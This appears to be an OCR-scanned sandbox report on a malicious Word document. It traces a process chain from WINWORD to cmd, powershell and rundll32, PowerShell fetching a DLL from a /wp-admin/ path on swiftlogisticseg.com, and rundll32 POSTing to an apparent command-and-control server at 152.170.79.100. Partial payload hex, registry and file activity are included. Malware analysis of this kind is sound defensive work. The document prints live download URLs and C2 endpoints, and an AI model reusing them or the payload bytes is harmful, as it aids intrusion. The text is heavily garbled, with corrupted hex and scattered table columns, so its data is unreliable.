Jan 13, 2021 17:00:39.807621956 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807637930 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807686090 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807718992 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807730913 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807770014 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807810068 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807810068 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807852030 CET 80 49167 35.214.159.46 192.168.2.22
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Timestamp Source Port Dest Port
Jan 13, 2021 17:00:39.807876110 CET 49167 80

Jan 13, 2021 17:00:39.807889938 CET 80 49167
Jan 13, 2021 17:00:39.807929993 CET 80 49167
Jan 13, 2021 17:00:39.807955980 CET 49167 80

Jan 13, 2021 17:00:39.807990074 CET 80 49167
Jan 13, 2021 17:00:39.808048010 CET 49167 80

Jan 13, 2021 17:00:39.808057070 CET 80 49167
Jan 13, 2021 17:00:39.808110952 CET 80 49167
Jan 13, 2021 17:00:39.808125019 CET 49167 80

Jan 13, 2021 17:00:39.808151007 CET 80 49167
Jan 13, 2021 17:00:39.808190107 CET 80 49167
Jan 13, 2021 17:00:39.808218002 CET 49167 80

Jan 13, 2021 17:00:39.808229923 CET 80 49167
Jan 13, 2021 17:00:39.808269024 CET 80 49167
Jan 13, 2021 17:00:39.808295012 CET 49167 80

Jan 13, 2021 17:00:39.808310986 CET 80 49167
Jan 13, 2021 17:00:39.808348894 CET 80 49167
Jan 13, 2021 17:00:39.808384895 CET 49167 80

Jan 13, 2021 17:00:39.808398008 CET 80 49167
UDP Packets

Timestamp Source Port Dest Port
Jan 13, 2021 17:00:39.302948952 CET 52197 53

Jan 13, 2021 17:00:39.386115074 CET 53 52197
DNS Queries

Timestamp Source IP Dest IP Trans ID
Jan 13, 2021 17:00:39.302948952 CET 192.168.2.22 8.8.8.8 0x82b3
DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name
Jan 13, 2021 8.8.8.8 192.168.2.22 0x82b3 No error (0) swiftlogis
17:00:39.386115074 ticseg.com
CET

HTTP Request Dependency Graph

* swiftlogisticseg.com
e 152.170.79.100

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jan 13, 2021 0

17:00:39.453290939 CET

Copyright null 2021

Source Port

49167

Direction

ouT

Destination IP

35.214.159.46 80

Data

GET /wp-admin/VEShOjj/ HTTP/1.1
Host: swiftlogisticseg.com
Connection: Keep-Alive

Destination Port Process

Source IP
192.168.2.22
35.214.159.46
35.214.159.46
192.168.2.22
35.214.159.46
192.168.2.22
35.214.159.46
35.214.159.46
192.168.2.22
35.214.159.46
35.214.159.46
192.168.2.22
35.214.159.46
35.214.159.46
192.168.2.22
35.214.159.46
35.214.159.46
192.168.2.22
35.214.159.46

Source IP

192.168.2.22

8.8.8.8

OP Code Name

Standard query  swiftlogis

(0) ticseg.com
CName Address

35.214.159.46

Dest IP
35.214.159.46
192.168.2.22
192.168.2.22
35.214.159.46
192.168.2.22
35.214.159.46
192.168.2.22
192.168.2.22
35.214.159.46
192.168.2.22
192.168.2.22
35.214.159.46
192.168.2.22
192.168.2.22
35.214.159.46
192.168.2.22
192.168.2.22
35.214.159.46
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22

Type
A (IP address)

Type
A (IP address)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Class

IN (0x0001)

Class

IN (0x0001)
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kBytes
Timestamp transferred

Jan 13, 2021 1
17:00:39.697565079 CET

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jan 13, 2021 451

17:01:02.673907042 CET

Copyright null 2021

Direction

IN

Source Port

49168

Direction

ouT

Data

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Jan 2021 16:00:39 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Wed, 13 Jan 2021 16:00:39 GMT

Content-Disposition: attachment; filename="Kwcfyldjaw.dIl"

Content-Transfer-Encoding: binary

Set-Cookie: 5fff1927a652a=1610553639; expires=Wed, 13-Jan-2021 16:01:39 GMT; Max-Age=60; path=/

Last-Modified: Wed, 13 Jan 2021 16:00:39 GMT

alt-svc: quic=":443"; ma=86400; v="43,39"

Host-Header: b7440e60b07ee7b8044761568fab26e8

X-Proxy-Cache: MISS

Data Raw: 37 63 61 61 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f1 f3 83 42 b5 92 ed 11 b5 92 ed 11 b5 92 ed 11 al f9 ee 10 be
92ed1l1alf9e8103d92ed1lalfded 10a7 92 ed 11 4d e2 €910 ba 92 ed 11 4d e2 ee 10 a4 92 ed 11 4d e2 e8 10
9492ed 11alf9ec 10b2 92 ed 11 b592 ec 113992 ed 11 02 e3 €810 b6 92 ed 11 02 e3 ed 10b4 92 ed 1102312 1
1b492ed11b592 7a 11 b4 92 ed 11 02 e3 ef 10 b4 92 ed 11 52 69 63 68 b5 92 ed 11 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 50 45 00 00 4c 01 05 00 16 00 ed 5f 00 00 00 00 00 00 00 00 €0 00 02 21 Ob 01 Oe 1b 00 10 04 00 00 9e
02 00 00 00 00 00 81 3c 00 00 00 10 00 00 00 20 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06
00 00 00 00 00 00 00 00 e0 06 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00
00 00 00 00 10 00 00 00 60 b7 04 00 50 00 00 00 b0 b7 04 00 50 00 00 00 00 fO 04 00 cO b3 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 b0 06 00 94 25 00 00 3¢ a2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 90 a2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 3¢ 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 63 Of 04 00 00 10 00 00 00 10 04 00
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 €0 a3 00 00 00 20 04 00 00 a4 00
00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 1e 00 00 00 dO 04 00 00 Oc
00 00 00 b8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 cO b3 01 00 00 fO 04 00 00 b
401 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 94 25 00 00 00 b0 06 00 00
26 00 00 00 78 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42

Data Ascii: 7caaMZ@!L!This program cannot be run in DOS mode.$B=MMM9zRichPEL_!< ‘PP%<T@ <.textc ".rdata
@@.data@.rsrc@@.reloc%&x@B

Destination IP Destination Port Process

152.170.79.100 80 C:\Windows\SysWOW64\rundll32.exe

Data

POST /33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6krOs/58j9f7jerowh66trm/ HTTP/1.1

DNT: 0

Referer: 152.170.79.100/33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58)9f7jerowh66trm/

Content-Type: multipart/form-data; boundary=- MwKOPCQYCO0TZ

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 152.170.79.100

Content-Length: 7364

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 13, 2021

kBytes
transferred Direction

460 IN

17:01:04.069269896 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Jan 2021 16:01:03 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 61 32 34 0d Oa 9c c0 61 f1 51 de 1le 74 56 26 2d 8f 24 57 fb c7 74 74 5¢ dd ce 1f 18 35 87 32 98 0d 8e 12 67 Ob
7e 21 79 ad d3 46 45 dO cc 3d e7 ad 84 1d 09 97 19 bb a6 40 e4 a2 74 04 67 95 26 9e 5f c4 f0 07 45 e8 Ob 71 57 bc 60 88
08 8e 86 05 4a dd ae 61 03 86 c6 67 de 9b 2a 66 7d 7e b9 c3 83 Of bc 91 82 ce 6f 43 41 6d 14 be 8d cd Oe 34 f1 08 el d7
08 51 3d 31 ef 02 5¢ 77 a0 40 44 72 d1 7b 42 b4 e5 f8 52 54 13 8a be 6e 75 8a a9 44 05 c3 6a 2a 1e 30 46 ec 05 8d 4b Of
3b ef 33 5d ee 1c ¢7 77 33 19 50 51 7b fO b7 57 46 1f 51 33 95 12 16 e2 e2 2e c9 f4 Oc 76 1c 3f 38 96 be 61 2d 91 80 28
01 17 d1 ae f7 96 a9 d5 36 b0 15 bb 00 8¢ 32 93 b3 ¢3 ac c9 a2 2d 5¢ b1 92 84 3b 9 58 6e 14 d1 b8 3c 10 91 d4 73 6a 3c
5d ec cf 6a 4f el fa eb 5f 74 6a 53 7a d7 e5 8c 2b af 5f 79 ca 2f 6e 26 9e d5 36 b3 8e 3e ee 2d 4f a5 38 e3 4d 41 78 59 3a
a6 d4 a4 2b 53 13 3f 4d ef 94 2e 2f 52 f4 f1 39 50 cc ¢3 96 1c 94 c2 52 5f 02 fe aa fO 78 35 24 f1 b6 66 20 55 cc f4 44 c8
d3 58 1b 7e 23 4f 60 ef bf 62 55 1b 7f 6¢ 14 92 b3 aa 3b bb 18 90 21 4b 81 76 4d 57 a6 c2 e4 12 8c 85 89 35 9d 2c b7 43
c3 a6 05 7b 9f 5a 98 37 a5 72 42 89 b3 a7 b5 10 cd e6 79 73 13 54 f2 14 8f 6e 43 85 82 9e 42 39 ad 3e d0 da 1b 53 db 28
e2e28ed504 2093 3e 86 11 01 17 25 7b a9 a0 d3 5e d9 18 cf 65 97 Oe 63 2b 12 be bc 24 e1 41 80 10 ee 71 c4 25 ea
e9 7a ca 89 f9 Oc 4c 66 f3 15 71 03 5b ef f1 ch 36 el 3d 91 53 b3 80 9f 04 b3 90 4a 60 79 Oa fb 38 aa 43 ff db 1c e6 8e 66
b9 69 ab 64 4e 9a 61 08 60 8a ee d3 Oc 88 3e e5 9e 34 96 f2 d3 d7 bc e2 7e bc 84 fa 77 21 bd ed ce 48 62 7e db 95 80 1b
46 ca 4e ef 43 25 13 a5 bc 01 d0 6b 77 2c 12 29 ae de dc 21 86 21 4f 27 1d ae a8 b1 97 85 dd 60 1c 1a 72 a6 4d 13 66 18
26 85 b7 1d 00 4f 36 81 43 ef 27 cd b4 e6 4b ef fc 7e cO 5e 46 88 54 90 fb 78 14 f4 a7 30 4c ad 62 70 a8 89 80 d7 60 ff 44
f9 5b 1b Oc 9a 4c b5 58 8 6¢ ca 98 9b 2e a7 6a 37 4d b5 fc al cd f3 26 al 41 26 57 ee a2 1c €9 0d ff ¢7 d8 19 78 4d d7
9c ¢9 ¢7 e7 a2 fd b0 6b 58 07 d0 8b 1b 9b c3 52 1c 06 5b f4 63 33 eb 97 4a cb 5a 26 0a d4 9f 4e 67 8d 62 1f 70 89 bd 1b
8 3c 4a 20 a9 c4 5a 64 04 25 8d d7 c1 a6 14 e6 35 aa 18 fO f4 b4 84 eb 85 c5 b7 89 63 87 a8 15 05 2a 9d 1c el 1c 4e 4c
4f d9 9a 77 c8 a5 d8 04 d0 95 0d a0 e3 f6 b3 31 68 ec 01 24 38 09 dd 8b 9c 84 51 8d 35 45 8 5c 3f 79 a4 7a c0 5e c4 af
bb 80 04 cd 13 11 08 58 5e 61 €0 d9 34 b6 6b 90 b3 01 ad 1e 9b 42 45 3a 56 ed af 1f 16 64 a3 35 a3 36 08 8f b8 e8 3b a4
41 c9 fd 81 85 a7 a2 e9 al 05 d9 27 50 eb el f3 5b 6a 48 fc el 2b 38 8b 89 5a 08 75 cd 7a ef 6b 4b 8f 2¢c 76 51 2a d7 e5
6a 66 5f 49 d3 el c7 9d 3a 3f 4a 7 01 da 27 06 6¢ 6 9d Ob 90 5 4b b6 93 48 a4 al 2d bd ab f7 90 99 27 0d ea Ob 42 6b
8d 8d 2d d3 44 1c 48 82 f3 12 a3 09 2a 97 b6 76 ec 8e Oe 73 45 61 87 07 aa 4b 14 a8 fe 1f ae 16 2¢c 73 f5 ¢8 05 b9 db fd
24 6a b5 el 63 34 1f 52 9d c1 82 1a 0f 02 44 17 81 76 2d 97 02 65 d9 55 17 40 99 70 65 5e Ob 32 6f de 28 70 6b 02 al a8
0d 74 9a 2c f4 b3 ab 36 1b 22 58 94 4d 80 15 7c 8a 3a c1 47 84 1le 07 3a 4c el 8a f3 00 48 3c c7 25 b4 5d 10 d8 55 43 d5
47 d3 4b 2d 5d b7 14 56 1e 9b 56 7d 5¢ 81 b6 50 ae c5 10 c0 21 2f d4 ef 5d f6 22 d6 6f b8 86 2a a4 Oe 2d 4b 86 ba 77 f8
ba 58 6e 8e a5 49 b0 76 8a ee 8¢ 35 4c e7 68 76 61 ba 49 d5 f6 27 2a e6 f6 ac ea 88 ed 6d 94 €9 bl c6 7b 3f a9 cb cd 92
e7 89 32 db 73 9a 39 8d 22 38 f0 c7 d3 ae 55 9a 35 3f 0a 29 8e fc b2 f7 de d8 3e 9a 56 33 84 f3 0d 77 cO 2e 46 11 1a 52
7a 8c 02 Oe 21 cb 78 30 20 76 Ob 94 b6 a3 24 c0 60 8 2f b7 bd e7 f8 54 a2 4b 62 32 b0 d8 dd 8f

Data Ascii: a24aQtV&-$Wit\52g~lyFE=@tg& EqW Jag*f}~0CAM4Q=1\w@Dr{BRTnuDj*0FK;3]Jw3PQ{WFQ3.v?8a-(62-\;
Xn<sj<]jO_tjSz+_y/n&6>-08MAXY:+S?M./RIPR_x5%$f UDX~#O bUI;!KVMW5,C{Z7rBysTnCB9>S( >%{"ec+$Aq%zLfq[6=S
J'y8CfidNa >4~w!Hb~FNC%kw,)!!O" rMf&O6C'K~"FTx0Lbp D[LXLj7M&A&WxXMkXR[c3IZ&Ngbp<J Zd%5c*NL
Ow1h$8Q5E\?yz X a4kBE:Vd56;A'P[jH+8ZuzkK,vQ*jf_I:2J'|KH-'Bk-DH*vsEaK,s$jc4RDv-eU@pe”20(pkt,6"XM|:G:L
H<%]UCGK-]VVHP!/]"0*-KwXnlIv5Lhval*m{?2s9"8U57?)>V3w.FRz!x0 v$'/TKb2

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 2280 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:00:41

13/01/2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
0x13f6f0000

1424032 bytes

95C38D04597050285A18F66039EDB456

true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE95226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF41E538EFOA99DFC1.TMP success or wait 1 7FEE9449ACO0 unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown 1 success or wait 1 7FEE91AEC53 ReadFile
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown 4096 success or wait 1 7FEE91B6CAC ReadFile
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 7FEE945E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 7FEE945E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 7FEE945E72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F67B8

Copyright null 2021

success or wait 7TFEE9449ACO0 unknown

success or wait 7TFEE9449ACO0 unknown

success or wait 7TFEE9449ACO unknown

P R R R R R R

success or wait 7TFEE9449ACO unknown
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Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F67B8

Copyright null 2021

Name

Cambria Math

Tahoma

F67B8

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 E8 08 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
94 A2 71 C3 10 EA D6 01 B8 67 OF
00 B8 67 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F67B8

Copyright null 2021

Name

ProductFiles

ProductFiles

F67B8

Type

dword

dword

binary

Name

Type

Old Data
1378680878

1378680879

04 00 00 00 E8 08 00 00 2A

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

New Data

1378680879

1378680880

00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 00 43 00 3A 00 5C 00 55
00 73 00 6500 72 00 73 00 5C
0041 00 6C 00 62 00 7500 73
00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C
00 5C 00 54 00 65 00 6D 00
70 00 5C 00 69 00 6D 00 67

00 67 00 73 00 2E 00 68 00 74 00 73 00 2E 00 68 00 74 00

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 94
A2 71 C3 10 EA D6 01 B8 67
OF 00 B8 67 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

6D 00 04 00 00 00 69 00 6D

00 67 00 73 00 00 00 00 00 01
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 B8 67 OF 00

B8 67 OF 00 00 00 00 00 DB

04 00 00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF

FF FF 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

04 00 00 00 E8 08 00 00 2A 00 success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
